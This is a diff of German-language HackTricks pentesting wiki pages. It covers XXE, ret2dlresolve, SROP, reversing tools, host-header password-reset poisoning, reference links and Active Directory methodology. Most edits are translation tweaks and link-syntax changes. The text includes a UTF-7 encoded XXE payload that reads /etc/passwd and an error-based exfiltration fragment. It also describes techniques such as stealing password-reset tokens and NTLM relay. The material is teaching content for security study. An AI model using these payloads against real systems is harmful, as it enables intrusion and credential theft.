+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -521,7 +523,7 @@ Error-Based Data Exfiltration Um diese Einschränkung zu überwinden, wird ein E
%foo;
%xxe;
```
Der Server antwortet mit einem Fehler, der wichtig auf die nicht vorhandene Datei hinweist und darauf hindeutet, dass der Server versucht, auf die angegebene Datei zuzugreifen:
Der Server antwortet mit einem Fehler, der wichtig auf die nicht vorhandene Datei hinweist und darauf hinweist, dass der Server versucht, auf die angegebene Datei zuzugreifen:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
@ -607,7 +609,7 @@ Verwendung des PHP base64 Filters
```
## Java XMLDecoder XEE zu RCE
XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht erstellt. Wenn ein böswilliger Benutzer eine Anwendung dazu bringen kann, willkürliche Daten in einem Aufruf der Methode **readObject** zu verwenden, erhält er sofort die Möglichkeit zur Codeausführung auf dem Server.
XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht erstellt. Wenn ein böswilliger Benutzer eine Anwendung dazu bringen kann, beliebige Daten in einem Aufruf der Methode **readObject** zu verwenden, erhält er sofort die Möglichkeit zur Codeausführung auf dem Server.
### Verwendung von Runtime().exec()
```xml
@ -671,7 +673,9 @@ XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht e
```
## Tools
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## References
@ -684,5 +688,4 @@ XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht e
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{{#include ../banners/hacktricks-training.md}}

6
src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md
View File

@ -8,7 +8,7 @@ Wie auf der Seite über [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.
Die Funktion **`_dl_runtime_resolve`** benötigt vom Stack Referenzen zu einigen Strukturen, um das angegebene Symbol aufzulösen.
Daher ist es möglich, **alle diese Strukturen zu fälschen**, um die dynamische Verknüpfung des angeforderten Symbols (wie die Funktion **`system`**) zu ermöglichen und sie mit einem konfigurierten Parameter (z.B. **`system('/bin/sh')`**) aufzurufen.
Daher ist es möglich, **alle diese Strukturen zu fälschen**, um die dynamische Verknüpfung des angeforderten Symbols (wie der **`system`**-Funktion) zu ermöglichen und sie mit einem konfigurierten Parameter (z.B. **`system('/bin/sh')`**) aufzurufen.
In der Regel werden alle diese Strukturen gefälscht, indem eine **initiale ROP-Kette erstellt wird, die `read`** über einen beschreibbaren Speicher aufruft, dann werden die **Strukturen** und der String **`'/bin/sh'`** übergeben, sodass sie durch `read` an einem bekannten Ort gespeichert werden, und dann setzt die ROP-Kette fort, indem sie **`_dl_runtime_resolve`** mit der Adresse zu `$'/bin/sh'` aufruft.
@ -17,7 +17,9 @@ In der Regel werden alle diese Strukturen gefälscht, indem eine **initiale ROP-
Eine bessere Erklärung zu dieser Technik finden Sie in der zweiten Hälfte des Videos:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Strukturen

8
src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md
View File

@ -8,12 +8,12 @@
Nachdem der Signalhandler fertig ist, muss das Programm seinen **vorherigen Zustand wiederherstellen**, als ob nichts passiert wäre. Hier kommt **`sigreturn`** ins Spiel. Es hilft dem Programm, **vom Signalhandler zurückzukehren** und stellt den Zustand des Programms wieder her, indem es das Stack-Frame (den Speicherbereich, der Funktionsaufrufe und lokale Variablen speichert) aufräumt, das vom Signalhandler verwendet wurde.
Der interessante Teil ist, wie **`sigreturn`** den Zustand des Programms wiederherstellt: Es geschieht, indem **alle Registerwerte der CPU auf dem Stack gespeichert werden.** Wenn das Signal nicht mehr blockiert ist, **poppt `sigreturn` diese Werte vom Stack**, wodurch die Register der CPU effektiv auf ihren Zustand vor der Signalbehandlung zurückgesetzt werden. Dazu gehört das Stack-Zeiger-Register (RSP), das auf die aktuelle Spitze des Stacks zeigt.
Der interessante Teil ist, wie **`sigreturn`** den Zustand des Programms wiederherstellt: Es geschieht, indem **alle Registerwerte der CPU auf dem Stack gespeichert werden.** Wenn das Signal nicht mehr blockiert ist, **poppt `sigreturn` diese Werte vom Stack**, wodurch die Register der CPU auf ihren Zustand vor der Signalbehandlung zurückgesetzt werden. Dazu gehört das Stack-Zeiger-Register (RSP), das auf die aktuelle Spitze des Stacks zeigt.
> [!CAUTION]
> Das Aufrufen des syscalls **`sigreturn`** aus einer ROP-Kette und **das Hinzufügen der Registerwerte**, die wir im **Stack** laden möchten, ermöglicht es, **alle Registerwerte zu kontrollieren** und daher **zum Beispiel** den syscall `execve` mit `/bin/sh` aufzurufen.
Beachten Sie, wie dies eine **Art von Ret2syscall** wäre, die es viel einfacher macht, Parameter zu kontrollieren, um andere Ret2syscalls aufzurufen:
Beachten Sie, dass dies eine **Art von Ret2syscall** wäre, die es viel einfacher macht, Parameter zu kontrollieren, um andere Ret2syscalls aufzurufen:
{{#ref}}
rop-syscall-execv.md
@ -21,7 +21,9 @@ rop-syscall-execv.md
Für eine bessere Erklärung schauen Sie auch:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Beispiel

28
src/reversing/reversing-tools-basic-methods/README.md
View File

@ -25,7 +25,7 @@ Software:
### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeek ist ein Decompiler, der **mehrere Formate dekompiliert und untersucht**, einschließlich **Bibliotheken** (.dll), **Windows-Metadatendateien** (.winmd) und **ausführbaren Dateien** (.exe). Nach der Dekompilierung kann ein Assembly als Visual Studio-Projekt (.csproj) gespeichert werden.
dotPeek ist ein Decompiler, der **mehrere Formate dekompiliert und untersucht**, einschließlich **Bibliotheken** (.dll), **Windows-Metadaten-Dateien** (.winmd) und **ausführbaren Dateien** (.exe). Nach der Dekomplierung kann ein Assembly als Visual Studio-Projekt (.csproj) gespeichert werden.
Der Vorteil hier ist, dass, wenn ein verlorener Quellcode aus einem Legacy-Assembly wiederhergestellt werden muss, diese Aktion Zeit sparen kann. Darüber hinaus bietet dotPeek eine praktische Navigation durch den dekompilierten Code, was es zu einem der perfekten Werkzeuge für die **Xamarin-Algorithmusanalyse** macht.
@ -38,11 +38,11 @@ Mit einem umfassenden Add-In-Modell und einer API, die das Tool an Ihre genauen
- Findet undocumented und unexposed Funktionalitäten, um mehr aus den verwendeten APIs und Technologien herauszuholen.
- Findet Abhängigkeiten und verschiedene Assemblies
- Verfolgt den genauen Standort von Fehlern in Ihrem Code, Drittanbieterkomponenten und Bibliotheken.
- Debuggt in die Quelle des gesamten .NET-Codes, mit dem Sie arbeiten.
- Debuggt in die Quelle aller .NET-Codes, mit denen Sie arbeiten.
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[ILSpy-Plugin für Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Sie können es auf jedem Betriebssystem haben (Sie können es direkt von VSCode installieren, es ist nicht notwendig, das Git-Repository herunterzuladen. Klicken Sie auf **Erweiterungen** und **suchen Sie nach ILSpy**).\
[ILSpy-Plugin für Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Sie können es auf jedem Betriebssystem haben (Sie können es direkt von VSCode installieren, es ist nicht notwendig, das Git herunterzuladen. Klicken Sie auf **Erweiterungen** und **suchen Sie nach ILSpy**).\
Wenn Sie **dekompilieren**, **modifizieren** und **wieder kompilieren** müssen, können Sie [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) oder einen aktiv gepflegten Fork davon, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases), verwenden. (**Rechtsklick -> Methode ändern**, um etwas innerhalb einer Funktion zu ändern).
### DNSpy Protokollierung
@ -127,12 +127,12 @@ Klicken Sie mit der rechten Maustaste auf ein beliebiges Modul im **Assembly Exp
Wenn Sie dann mit dem Debuggen beginnen, **wird die Ausführung gestoppt, wenn jede DLL geladen wird**. Wenn rundll32 Ihre DLL lädt, wird die Ausführung gestoppt.
Aber wie gelangen Sie zum Code der geladenen DLL? Mit dieser Methode weiß ich es nicht.
Aber wie gelangen Sie zu dem Code der geladenen DLL? Mit dieser Methode weiß ich es nicht.
### Verwendung von x64dbg/x32dbg
- **Laden Sie rundll32** (64-Bit in C:\Windows\System32\rundll32.exe und 32-Bit in C:\Windows\SysWOW64\rundll32.exe)
- **Ändern Sie die Befehlszeile** (_Datei --> Befehlszeile ändern_) und setzen Sie den Pfad der DLL und die Funktion, die Sie aufrufen möchten, zum Beispiel: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- **Ändern Sie die Befehlszeile** (_Datei --> Befehlszeile ändern_) und setzen Sie den Pfad der DLL und die Funktion, die Sie aufrufen möchten, z. B.: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- Ändern Sie _Optionen --> Einstellungen_ und wählen Sie "**DLL Entry**".
- Starten Sie dann die Ausführung, der Debugger wird an jedem DLL-Hauptpunkt anhalten, irgendwann werden Sie **im DLL-Eintrag Ihrer DLL anhalten**. Von dort aus suchen Sie einfach nach den Punkten, an denen Sie einen Haltepunkt setzen möchten.
@ -156,7 +156,9 @@ cheat-engine.md
## ARM & MIPS
{% embed url="https://github.com/nongiach/arm_now" %}
{{#ref}}
https://github.com/nongiach/arm_now
{{#endref}}
## Shellcodes
@ -198,7 +200,7 @@ Sie können den Stack beispielsweise in einem Hexdump sehen:
![](<../../images/image (186).png>)
### Deobfuscating Shellcode und Abrufen ausgeführter Funktionen
### Deobfuscating Shellcode und Ausführen von Funktionen
Sie sollten [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152) ausprobieren.\
Es wird Ihnen Dinge sagen wie **welche Funktionen** der Shellcode verwendet und ob der Shellcode sich **im Speicher dekodiert**.
@ -338,7 +340,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
```
Die letzte Bedingung überprüft, ob **`uVar4`** in den **letzten Tasten** ist und nicht die aktuelle Taste ist, die auch als Loslassen einer Taste bezeichnet wird (die aktuelle Taste ist in **`uVar1`** gespeichert).
Die letzte Bedingung überprüft, ob **`uVar4`** in den **letzten Tasten** ist und nicht die aktuelle Taste ist, die auch als Loslassen einer Taste bezeichnet wird (die aktuelle Taste wird in **`uVar1`** gespeichert).
```c
if (uVar1 == 4) {
DAT_030000d4 = 0;
@ -371,16 +373,18 @@ Im vorherigen Code sehen Sie, dass wir **uVar1** (der Ort, an dem der **Wert des
- Zuerst wird er mit dem **Wert 4** (**SELECT**-Taste) verglichen: In der Herausforderung löscht dieser Button den Bildschirm.
- Dann wird er mit dem **Wert 8** (**START**-Taste) verglichen: In der Herausforderung wird überprüft, ob der Code gültig ist, um die Flagge zu erhalten.
- In diesem Fall wird die Variable **`DAT_030000d8`** mit 0xf3 verglichen, und wenn der Wert gleich ist, wird ein bestimmter Code ausgeführt.
- In allen anderen Fällen wird ein Zähler (`DAT_030000d4`) überprüft. Es ist ein Zähler, weil er direkt nach dem Betreten des Codes um 1 erhöht wird.\
**Wenn** weniger als 8, wird etwas gemacht, das **Werte** zu \*\*`DAT_030000d8` \*\* hinzufügt (grundsätzlich werden die Werte der gedrückten Tasten in dieser Variablen addiert, solange der Zähler weniger als 8 ist).
- In allen anderen Fällen wird ein Zähler (`DAT_030000d4`) überprüft. Es ist ein Zähler, weil er 1 hinzufügt, direkt nachdem er in den Code eingetreten ist.\
**Wenn** weniger als 8, wird etwas gemacht, das **Hinzufügen** von Werten zu \*\*`DAT_030000d8` \*\* beinhaltet (grundsätzlich werden die Werte der gedrückten Tasten in dieser Variablen addiert, solange der Zähler weniger als 8 ist).
In dieser Herausforderung mussten Sie also, wissend um die Werte der Tasten, eine **Kombination mit einer Länge kleiner als 8 drücken, deren resultierende Addition 0xf3 ist.**
In dieser Herausforderung mussten Sie also, wissend um die Werte der Tasten, **eine Kombination mit einer Länge kleiner als 8 drücken, deren resultierende Addition 0xf3 ist.**
**Referenz für dieses Tutorial:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
## Game Boy
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
{{#ref}}
https://www.youtube.com/watch?v=VVbRe7wr3G4
{{#endref}}
## Kurse

4
src/robots.txt Normal file
View File

@ -0,0 +1,4 @@
Sitemap: https://www.hacktricks.wiki/sitemap.xml
User-agent: *
Disallow:

4
src/stego/esoteric-languages.md
View File

@ -48,7 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
{{#ref}}
https://codewithrockstar.com/
{{#endref}}
## PETOOH
```

6
src/todo/burp-suite.md
View File

@ -4,13 +4,15 @@
- **Einfache Liste:** Einfach eine Liste mit einem Eintrag in jeder Zeile
- **Laufzeitdatei:** Eine Liste, die zur Laufzeit gelesen wird (nicht im Speicher geladen). Zum Unterstützen großer Listen.
- **Falländerung:** Wenden Sie einige Änderungen an einer Liste von Zeichenfolgen an (Keine Änderung, in Kleinbuchstaben, in GROSSBUCHSTABEN, in Eigennamen - Erster Buchstabe groß und der Rest in Kleinbuchstaben -, in Eigennamen - Erster Buchstabe groß und der Rest bleibt gleich -).
- **Falländerung:** Wenden Sie einige Änderungen an einer Liste von Zeichenfolgen an (Keine Änderung, zu klein, zu GROSS, zu ordentlichem Namen - Erster Buchstabe groß und der Rest klein -, zu ordentlichem Namen - Erster Buchstabe groß und der Rest bleibt gleich-).
- **Zahlen:** Zahlen von X bis Y mit Z Schritt oder zufällig generieren.
- **Brute Forcer:** Zeichensatz, min. & max. Länge.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload zum Ausführen von Befehlen und Abrufen der Ausgabe über DNS-Anfragen an burpcollab.
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

18
src/todo/other-web-tricks.md
View File

@ -4,31 +4,33 @@
### Host-Header
Mehrere Male vertraut das Backend dem **Host-Header**, um einige Aktionen durchzuführen. Zum Beispiel könnte es seinen Wert als **Domain für das Senden eines Passwort-Reset** verwenden. Wenn Sie also eine E-Mail mit einem Link zum Zurücksetzen Ihres Passworts erhalten, ist die verwendete Domain die, die Sie im Host-Header eingegeben haben. Dann können Sie das Passwort-Reset anderer Benutzer anfordern und die Domain auf eine von Ihnen kontrollierte ändern, um deren Passwort-Reset-Codes zu stehlen. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
Mehrmals vertraut das Backend dem **Host-Header**, um einige Aktionen durchzuführen. Zum Beispiel könnte es seinen Wert als **Domain für das Senden eines Passwort-Reset** verwenden. Wenn Sie also eine E-Mail mit einem Link zum Zurücksetzen Ihres Passworts erhalten, ist die verwendete Domain die, die Sie im Host-Header eingegeben haben. Dann können Sie das Passwort-Reset anderer Benutzer anfordern und die Domain auf eine von Ihnen kontrollierte ändern, um deren Passwort-Reset-Codes zu stehlen. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
> [!WARNING]
> Beachten Sie, dass es möglich ist, dass Sie nicht einmal warten müssen, bis der Benutzer auf den Link zum Zurücksetzen des Passworts klickt, um das Token zu erhalten, da möglicherweise sogar **Spam-Filter oder andere Zwischengeräte/Bots darauf klicken, um es zu analysieren**.
### Sitzungsbooleans
### Sitzungs-Boolean
Manchmal, wenn Sie eine Überprüfung korrekt abschließen, wird das Backend **einfach einen Boolean mit dem Wert "True" zu einem Sicherheitsattribut Ihrer Sitzung hinzufügen**. Dann wird ein anderer Endpunkt wissen, ob Sie diese Überprüfung erfolgreich bestanden haben.\
Wenn Sie jedoch **die Überprüfung bestehen** und Ihre Sitzung diesen "True"-Wert im Sicherheitsattribut erhält, können Sie versuchen, **auf andere Ressourcen zuzugreifen**, die **von demselben Attribut abhängen**, auf die Sie jedoch **keine Berechtigung** haben sollten. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
Manchmal, wenn Sie eine Überprüfung korrekt abschließen, wird das Backend **einfach ein Boolean mit dem Wert "True" zu einem Sicherheitsattribut Ihrer Sitzung hinzufügen**. Dann wird ein anderer Endpunkt wissen, ob Sie diese Überprüfung erfolgreich bestanden haben.\
Wenn Sie jedoch **die Überprüfung bestehen** und Ihre Sitzung diesen "True"-Wert im Sicherheitsattribut erhält, können Sie versuchen, **auf andere Ressourcen zuzugreifen**, die **von demselben Attribut abhängen**, auf die Sie **keine Berechtigung** haben sollten. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### Registrierungsfunktionalität
### Registrierungsfunktion
Versuchen Sie, sich als bereits existierender Benutzer zu registrieren. Versuchen Sie auch, äquivalente Zeichen (Punkte, viele Leerzeichen und Unicode) zu verwenden.
### Übernahme von E-Mails
### E-Mail-Übernahme
Registrieren Sie eine E-Mail, ändern Sie die E-Mail, bevor Sie sie bestätigen, und wenn die neue Bestätigungs-E-Mail an die zuerst registrierte E-Mail gesendet wird, können Sie jede E-Mail übernehmen. Oder wenn Sie die zweite E-Mail aktivieren können, die die erste bestätigt, können Sie auch jedes Konto übernehmen.
### Zugriff auf den internen Servicedesk von Unternehmen, die Atlassian verwenden
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### TRACE-Methode
Entwickler könnten vergessen, verschiedene Debugging-Optionen in der Produktionsumgebung zu deaktivieren. Zum Beispiel ist die HTTP `TRACE`-Methode für Diagnosezwecke gedacht. Wenn sie aktiviert ist, wird der Webserver auf Anfragen, die die `TRACE`-Methode verwenden, mit der genauen Anfrage, die empfangen wurde, in der Antwort reagieren. Dieses Verhalten ist oft harmlos, führt aber gelegentlich zu Informationslecks, wie z.B. den Namen interner Authentifizierungsheader, die von Reverse-Proxys an Anfragen angehängt werden können.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
Entwickler könnten vergessen, verschiedene Debugging-Optionen in der Produktionsumgebung zu deaktivieren. Zum Beispiel ist die HTTP `TRACE`-Methode für Diagnosezwecke gedacht. Wenn sie aktiviert ist, wird der Webserver auf Anfragen, die die `TRACE`-Methode verwenden, mit der genauen Anfrage, die empfangen wurde, in der Antwort antworten. Dieses Verhalten ist oft harmlos, führt aber gelegentlich zu Informationslecks, wie z.B. den Namen interner Authentifizierungsheader, die von Reverse-Proxys an Anfragen angehängt werden können.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)

92
src/todo/references.md
View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

88
src/windows-hardening/active-directory-methodology/README.md
View File

@ -12,7 +12,7 @@ Wichtige Konzepte innerhalb von **Active Directory** umfassen:
1. **Verzeichnis** – Beherbergt alle Informationen zu Active Directory-Objekten.
2. **Objekt** – Bezeichnet Entitäten im Verzeichnis, einschließlich **Benutzern**, **Gruppen** oder **freigegebenen Ordnern**.
3. **Domäne** – Dient als Container für Verzeichnisobjekte, wobei mehrere Domänen innerhalb eines **Waldes** koexistieren können, jede mit ihrer eigenen Objektsammlungen.
3. **Domäne** – Dient als Container für Verzeichnisobjekte, wobei mehrere Domänen innerhalb eines **Walds** koexistieren können, jede mit ihrer eigenen Objektsammlungen.
4. **Baum** – Eine Gruppierung von Domänen, die eine gemeinsame Stammdomäne teilen.
5. **Wald** – Der Höhepunkt der Organisationsstruktur in Active Directory, bestehend aus mehreren Bäumen mit **Vertrauensverhältnissen** untereinander.
@ -21,8 +21,8 @@ Wichtige Konzepte innerhalb von **Active Directory** umfassen:
1. **Domänendienste** – Zentralisiert die Datenspeicherung und verwaltet die Interaktionen zwischen **Benutzern** und **Domänen**, einschließlich **Authentifizierung** und **Suchfunktionen**.
2. **Zertifikatsdienste** – Überwacht die Erstellung, Verteilung und Verwaltung sicherer **digitaler Zertifikate**.
3. **Leichtgewichtige Verzeichnisdienste** – Unterstützt verzeichnisfähige Anwendungen über das **LDAP-Protokoll**.
4. **Verzeichnisföderationsdienste** – Bietet **Single-Sign-On**-Funktionen zur Authentifizierung von Benutzern über mehrere Webanwendungen in einer einzigen Sitzung.
5. **Rechtsmanagement** – Hilft beim Schutz urheberrechtlich geschützter Materialien, indem es deren unbefugte Verbreitung und Nutzung reguliert.
4. **Verzeichnis-Föderationsdienste** – Bietet **Single-Sign-On**-Funktionen zur Authentifizierung von Benutzern über mehrere Webanwendungen in einer einzigen Sitzung.
5. **Rechtsverwaltung** – Hilft beim Schutz urheberrechtlich geschützter Materialien, indem die unbefugte Verbreitung und Nutzung reguliert wird.
6. **DNS-Dienst** – Entscheidend für die Auflösung von **Domänennamen**.
Für eine detailliertere Erklärung siehe: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
@ -129,11 +129,11 @@ Sie könnten in der Lage sein, einige Challenge-**Hashes** zu erhalten, um **Pro
### NTML Relay
Wenn Sie es geschafft haben, das Active Directory zu enumerieren, haben Sie **mehr E-Mails und ein besseres Verständnis des Netzwerks**. Sie könnten in der Lage sein, NTML [**Relay-Angriffe**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* zu erzwingen, um Zugriff auf die AD-Umgebung zu erhalten.
Wenn Sie es geschafft haben, das Active Directory zu enumerieren, haben Sie **mehr E-Mails und ein besseres Verständnis des Netzwerks**. Sie könnten NTML [**Relay-Angriffe**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* erzwingen, um Zugriff auf die AD-Umgebung zu erhalten.
### NTLM-Creds stehlen
Wenn Sie mit dem **null- oder Gastbenutzer** **auf andere PCs oder Freigaben zugreifen** können, könnten Sie **Dateien** (wie eine SCF-Datei) platzieren, die, wenn sie irgendwie aufgerufen werden, eine **NTML-Authentifizierung gegen Sie auslösen**, sodass Sie die **NTLM-Herausforderung** stehlen können, um sie zu cracken:
Wenn Sie **auf andere PCs oder Freigaben** mit dem **null oder Gastbenutzer** zugreifen können, könnten Sie **Dateien** (wie eine SCF-Datei) platzieren, die, wenn sie irgendwie aufgerufen werden, eine **NTML-Authentifizierung gegen Sie auslösen**, sodass Sie die **NTLM-Herausforderung** stehlen können, um sie zu cracken:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -158,7 +158,7 @@ Bezüglich [**ASREPRoast**](asreproast.md) können Sie jetzt jeden möglichen ve
- Sie könnten die [**CMD verwenden, um eine grundlegende Recon durchzuführen**](../basic-cmd-for-pentesters.md#domain-info)
- Sie können auch [**PowerShell für Recon verwenden**](../basic-powershell-for-pentesters/), was stealthier sein wird
- Sie können auch [**Powerview verwenden**](../basic-powershell-for-pentesters/powerview.md), um detailliertere Informationen zu extrahieren
- Ein weiteres erstaunliches Tool für Recon in einem Active Directory ist [**BloodHound**](bloodhound.md). Es ist **nicht sehr stealthy** (abhängig von den verwendeten Erfassungsmethoden), aber **wenn es Ihnen egal ist**, sollten Sie es auf jeden Fall ausprobieren. Finden Sie heraus, wo Benutzer RDP nutzen können, finden Sie den Weg zu anderen Gruppen usw.
- Ein weiteres erstaunliches Tool für Recon in einem Active Directory ist [**BloodHound**](bloodhound.md). Es ist **nicht sehr stealthy** (je nach den verwendeten Sammlungsmethoden), aber **wenn es Ihnen egal ist**, sollten Sie es auf jeden Fall ausprobieren. Finden Sie heraus, wo Benutzer RDP nutzen können, finden Sie den Weg zu anderen Gruppen usw.
- **Andere automatisierte AD-Enumerationstools sind:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS-Einträge des AD**](ad-dns-records.md), da sie interessante Informationen enthalten könnten.
- Ein **Tool mit GUI**, das Sie zur Enumeration des Verzeichnisses verwenden können, ist **AdExplorer.exe** aus der **SysInternal** Suite.
@ -171,11 +171,11 @@ Bezüglich [**ASREPRoast**](asreproast.md) können Sie jetzt jeden möglichen ve
Es ist sehr einfach, alle Benutzernamen der Domäne von Windows zu erhalten (`net user /domain`, `Get-DomainUser` oder `wmic useraccount get name,sid`). In Linux können Sie verwenden: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` oder `enum4linux -a -u "user" -p "password" <DC IP>`
> Auch wenn dieser Abschnitt zur Enumeration klein aussieht, ist dies der wichtigste Teil von allem. Greifen Sie auf die Links zu (hauptsächlich auf den von cmd, powershell, powerview und BloodHound), lernen Sie, wie man eine Domäne enumeriert, und üben Sie, bis Sie sich wohlfühlen. Während einer Bewertung wird dies der entscheidende Moment sein, um Ihren Weg zu DA zu finden oder zu entscheiden, dass nichts getan werden kann.
